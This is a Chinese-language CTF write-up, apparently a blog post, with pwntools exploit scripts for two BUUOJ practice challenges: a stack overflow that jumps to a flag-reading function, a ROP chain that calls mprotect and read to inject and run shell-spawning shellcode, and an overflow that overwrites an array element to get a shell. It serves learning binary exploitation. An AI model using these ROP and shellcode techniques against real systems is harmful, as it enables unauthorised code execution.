not_the_same_3dsctf_2016

发布时间 2023-07-28 22:26:30作者: lmarch2

0X01

和get_started_3dsctf_2016类似

大概思路是先控制程序流到get_secret函数读取flag到f14g变量,再控制返回地址为write函数输出f14g变量的内容

from pwn import *
p = remote("node4.buuoj.cn",25684)

elf= ELF(./not_the_same_3dsctf_2016)

write_addr = elf.sym['write']
flag_addr = 0x080ECA2D 
get_secret = 0x080489A0
payload='a'* 0x2d + p32(get_secret) + p32(write_addr) + p32(0) + p32(1) + p32(flag_addr) + p32(45)
p.sendline(payload)
p.interactive()

0x02

第二种思路

用mprotect函数修改.plt.got表内存页权限为可读可写可执行,用read函数将shellcode注入到刚才修改的内存页中,执行shellcode

from pwn import *
sh = remote("node4.buuoj.cn",25684)

elf= ELF(./not_the_same_3dsctf_2016)
pop3_ret = 0x0804f420#gadget:pop ebx; pop esi; pop ebp; ret;用来向mprotect()、read()传参
				     #ROPgadget --binary get_started --only 'pop|ret' | grep pop
#为了后续再能使用栈ret,我们得构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令,为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈完好.

mem_addr = 0x80eb000 #可读可写的内存,但不可执行
mem_size = 0x1000    #通过调试出来的值
mem_proc = 0x7       #可代表可读可写可执行

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.
'''
payload = 'A' * 45 #填充数据覆盖到ebp
payload += p32(mprotect_addr) #栈返回到mprotect()函数执行
payload += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12

#mprotect 的三个参数 mprotect(0x080ea000,0x1000,0x7)
payload += p32(mem_addr)   #mprotect函数参数1 修改的内存地址
payload += p32(mem_size)   #mprotect函数参数2 修改的内存大小
payload += p32(mem_proc)   #mprotect函数参数3 修改的权限

payload += p32(read_addr) #执行完pop3_ret后弹到read地址
payload += p32(pop3_ret)  #执行完read后将返回到pop3_ret指令,又继续使esp+12

#read 的三个参数 read(0,0x080ea000,0x100)
payload += p32(0)     #read函数参数1 ,从输入端读取,将我们生成的shellcode读入目标内存地址
payload += p32(mem_addr)   #读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小

payload += p32(mem_addr)   #执行完read后ret esi,这里是返回到我们布置的shellcode执行

sh.sendline(payload)
payload_shellcode = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 

sh.sendline(payload_shellcode)
sh.interactive()

ciscn_2019_n_8

只需要满足var[13] == 17即可getshell;__isoc99_scanf()`函数没有限制输入数据的长度

exp

from pwn import *
context(log_level='debug')
sh = remote('node4.buuoj.cn',25951)
payload = 'a'*4*13 + p32(17) #p32(17)=\x11\x00\x00\x00,16进制小端存储,0x11(16)=17(10)
#这里*4是因为4字节的数组每一项要4字节才能填满,*13是把数组前13项填满,第14项用
sh.sendlineafter("What's your name?\n",payload)
sh.interactive()